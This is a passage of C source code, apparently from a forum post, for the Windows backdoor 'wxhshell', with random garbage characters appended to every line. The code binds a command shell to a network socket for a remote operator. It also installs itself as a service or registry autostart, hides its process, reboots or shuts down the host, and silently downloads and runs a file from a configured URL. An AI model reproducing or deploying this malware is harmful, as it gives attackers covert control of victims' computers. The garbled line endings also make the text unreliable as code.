v!{'23`87  
    switch(cmd[0]) { 7~l  
  ;aK !eD$  
  // 帮助 seqF84Xd<  
  case '?': { 7k#${,k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dss/>! mN  
    break; zEPx  
  } z1SMQLk  
  // 安装 oB{}-[G  
  case 'i': { "J[i=~(  
    if(Install()) 77&^$JpM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 400Tw`AiJ  
    else G0; EbJ/&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP@JrnxO\`  
    break; < ;,S"e  
    } .1z$ A  
  // 卸载 J.e8UQ@=5  
  case 'r': { D@r n@N  
    if(Uninstall()) ! N"L`RWD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ekl? K~  
    else ({H+ y 9n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^~r&}l4c,  
    break; $YGIN7_Gg  
    } U3|&Jee  
  // 显示 wxhshell 所在路径 y%IG:kZ,  
  case 'p': { @(,{_c]  
    char svExeFile[MAX_PATH]; F3Ak'h{Ay  
    strcpy(svExeFile,"\n\r"); */5<L99v  
      strcat(svExeFile,ExeFile); fdq^!MWTi  
        send(wsh,svExeFile,strlen(svExeFile),0); 6PQJgki  
    break; z5yb$-j  
    } +%le/Pg@  
  // 重启 X~)V)'R  
  case 'b': { \A3>c|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x(3 I?#kE  
    if(Boot(REBOOT)) THbtu*El  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |<$<L`xoe  
    else { O2'bNR  
    closesocket(wsh); VNxpOoV=S  
    ExitThread(0); A"bSNHCKF  
    } j_6`s!Yw  
    break; LE0J ;|1  
    } k qY3r &  
  // 关机 XEUa  
  case 'd': { z"s%#/#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AK~`pq[.  
    if(Boot(SHUTDOWN)) SP D207  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9HJ'p:{)  
    else { &8X .!r`f  
    closesocket(wsh); kuTq8p2E  
    ExitThread(0); Oj4u!SY\j  
    } Dc&9emKI  
    break; _r<zSH%  
    } LpiHoavv  
  // 获取shell L&DF,fWsF&  
  case 's': { G1?0Q_RN  
    CmdShell(wsh); I4o =6ts  
    closesocket(wsh); ,>QMyI hv  
    ExitThread(0); *b6I%MZn  
    break; d Ik8TJ  
  } fOK+DT~  
  // 退出 9Ew:.&d  
  case 'x': { Rekb?|{z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /+x#V!zM  
    CloseIt(wsh); wzDk{4U  
    break; c+Q.?vJ  
    } t4jd KYA  
  // 离开 j5,^9'  
  case 'q': { dK J@{d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nI`f_sp  
    closesocket(wsh); wZo.ynXT  
    WSACleanup(); ~<2 IIR$H  
    exit(1); hr_9;,EPh  
    break; OD?y  
        } l}Q"Nb)  
  } O:5Rp_?^  
  } uXG`6|?  
tL={y*  
  // 提示信息 '#,e @v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B0b[p*g Il  
} (<bm4MPf  
  } J8u{K.( *7  
B.}_],  
  return; u{OS6Ky  
} X6LhM  
cQ3W;F8|n  
// shell模块句柄 0|fb< "  
int CmdShell(SOCKET sock) n) _dH/"  
{ ;t;Y.*&=S  
STARTUPINFO si; ? fbgU  
ZeroMemory(&si,sizeof(si)); @pF fpHq?>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5|<yfk8*J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "EcX_>  
PROCESS_INFORMATION ProcessInfo; |+Hp+9J  
char cmdline[]="cmd"; ~ Ho{p Oq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kCaO\#ta  
  return 0; ,67"C2Y  
} A9\]3 LY  
7SgweZ}"  
// 自身启动模式 b 0LGH. z4  
int StartFromService(void) DU5:+" u3  
{ :]CzN^k(1c  
typedef struct [%j?.N  
{ PGPISrf  
  DWORD ExitStatus; 8)^B32  
  DWORD PebBaseAddress; F_A%8)N  
  DWORD AffinityMask; +Dx1/I  
  DWORD BasePriority; j[ J 5y#  
  ULONG UniqueProcessId; YG0PxZmi  
  ULONG InheritedFromUniqueProcessId; prNhn:j  
}   PROCESS_BASIC_INFORMATION; IVI~1~  
eu# ,WwlG  
PROCNTQSIP NtQueryInformationProcess; Zg -]sp]  
&8[ZN$Xe"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [>W"R1/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KQG-2oW  
7d&DrI@~  
  HANDLE             hProcess; % v;e  
  PROCESS_BASIC_INFORMATION pbi; d]tv'|E13  
A6Ghj{~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J>rka]*  
  if(NULL == hInst ) return 0;  9R9__w;  
-PNi^ K_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [8>z#*B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BdN8 ^W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :83,[;GO2  
FJP< bREQ  
  if (!NtQueryInformationProcess) return 0; 9T(L"9r-e  
;B&^yj&;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `I5O4|K)  
  if(!hProcess) return 0; s|Z:}W?{  
`W@T'T"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )PR3s1S^  
9n1ZVP.ag  
  CloseHandle(hProcess); "(s6aqO$  
K&=D-50%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KAd_zkUA  
if(hProcess==NULL) return 0; +7,8w  
z{ptm7  
HMODULE hMod; f}^I=pS&  
char procName[255]; y|$R`P  
unsigned long cbNeeded; *)u?~r(F  
5L8&/EN9-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^:`oP"%-T  
~12_D'8D[  
  CloseHandle(hProcess); "`pNH'   
S]}}A  
if(strstr(procName,"services")) return 1; // 以服务启动 n.*3,4.]  
\tY"BC4.  
  return 0; // 注册表启动 i+g~ Uj}h  
} ,V,f2W 4  
$@_{p*q  
// 主模块 93j{.0]X  
int StartWxhshell(LPSTR lpCmdLine) M\Se_  
{ I%oRvg|q  
  SOCKET wsl; eP"`,<  
BOOL val=TRUE; XAe\s`  
  int port=0; MDJc[am  
  struct sockaddr_in door; "!O1j r;  
|^R*4;Phe  
  if(wscfg.ws_autoins) Install(); ((XE\V\}Z  
m`z7fi7u  
port=atoi(lpCmdLine); *h$&0w y  
-."kq.m*  
if(port<=0) port=wscfg.ws_port; #ZJMlJ:q`"  
Vtr3G.P^  
  WSADATA data; ~.J,A\F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tJNIr5o  
zh\$t]d<I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4o<*PPA1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %}P4kEY  
  door.sin_family = AF_INET; H+ lX-,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J! {Al  
  door.sin_port = htons(port); mzX;s&N#  
F@Q^?WV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WmeKl  
closesocket(wsl); K UKACUL  
return 1; En(7(qP6}  
} B{C_hy-fw  
Us,)]W.S  
  if(listen(wsl,2) == INVALID_SOCKET) { AEY$@!8  
closesocket(wsl); Oe51PEqn  
return 1; RT^v:paNT2  
} ^"9* 'vTtc  
  Wxhshell(wsl); Rf)ke("  
  WSACleanup(); ?7 \\e;j}  
R_^/,^1  
return 0; 0"78/6XIs  
_T5)n=|  
}  B/G-Yh$E  
/.Fj.6U5  
// 以NT服务方式启动 U3E&n1AA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pj0fM{E  
{ S,''>`w  
DWORD   status = 0; $IVwA  
  DWORD   specificError = 0xfffffff; %d1draL  
 |t))u`~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; * RWm47  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |S&5es-yW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KB!5u9  
  serviceStatus.dwWin32ExitCode     = 0; [ %}u=}@  
  serviceStatus.dwServiceSpecificExitCode = 0; \ECu5L4  
  serviceStatus.dwCheckPoint       = 0; {hQ6K)s  
  serviceStatus.dwWaitHint       = 0; I9Eu',  
ye%iDdf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 06 i;T~Y  
  if (hServiceStatusHandle==0) return; N>|XS ,  
1D F/6y  
status = GetLastError(); >xqM5#m`E$  
  if (status!=NO_ERROR) (gwj)?:  
{ "0CjP+1k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  rkB'Hf  
    serviceStatus.dwCheckPoint       = 0; BQ/PGY>  
    serviceStatus.dwWaitHint       = 0; tnz+bX26  
    serviceStatus.dwWin32ExitCode     = status; Ub_4yN;  
    serviceStatus.dwServiceSpecificExitCode = specificError; yHeEobvb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4nqoZk^R  
    return; c>HK9z{  
  } \, &9  
@?kM'*mrZM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =8Ehrlq  
  serviceStatus.dwCheckPoint       = 0; }tG3tz0%fX  
  serviceStatus.dwWaitHint       = 0; 2&Jd f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }7s>B24J  
} HfB@vw^  
OtTBErQNF  
// 处理NT服务事件,比如:启动、停止 5GQLd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >9H@|[C  
{ +9XQ[57  
switch(fdwControl) nXA\|c0  
{ QAPu<rdJP  
case SERVICE_CONTROL_STOP: g&Vcg`  
  serviceStatus.dwWin32ExitCode = 0; `.%JjsD<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !ABiy6d  
  serviceStatus.dwCheckPoint   = 0; eq[Et +  
  serviceStatus.dwWaitHint     = 0; &QNY,Pj  
  { aG+j9Q_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5D Y\:AF  
  } W_`A"WdT.  
  return; HYK!}&  
case SERVICE_CONTROL_PAUSE: ]Mi.f3QlO6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h3* x[W  
  break; \4d.sy0&>-  
case SERVICE_CONTROL_CONTINUE: .8WXC   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ({^9<Us  
  break; e>}}:Ud  
case SERVICE_CONTROL_INTERROGATE: \ HZ9S=  
  break; Q`%R[#  
}; lrWQOYf2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FV39QG4b4  
} 4|?{VQ  
Oakb'  
// 标准应用程序主函数 $wB^R(f@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bFS>)  
{ C? 4JXW  
d[D&J  
// 获取操作系统版本 S6d`ioi-  
OsIsNt=GetOsVer(); 7nU6k%_%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uC3:7  
SOZPZUUEJ  
  // 从命令行安装 %dST6$Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); *?ITns W<  
ao" %WX  
  // 下载执行文件 Sh6JF574T  
if(wscfg.ws_downexe) { +pm[f["C.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :}:3i9e*2  
  WinExec(wscfg.ws_filenam,SW_HIDE); OZY,@c  
} v``-F(i$  
@f+8%I3D  
if(!OsIsNt) { oR1^/e  
// 如果时win9x,隐藏进程并且设置为注册表启动 5yZTcS z  
HideProc(); -]uUYe c  
StartWxhshell(lpCmdLine); nl aM  
} j@gMb iu  
else >'uU)Y {  
  if(StartFromService()) }A=y=+4 j  
  // 以服务方式启动 4+$b~ u  
  StartServiceCtrlDispatcher(DispatchTable); #oeG!<Mn  
else {66sB{P  
  // 普通方式启动 |'O[7uT  
  StartWxhshell(lpCmdLine); TjMe?p  
h%; e0Xz|  
return 0; X?:o;wB  
}
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只看该作者 1 发表于: 2006-10-10
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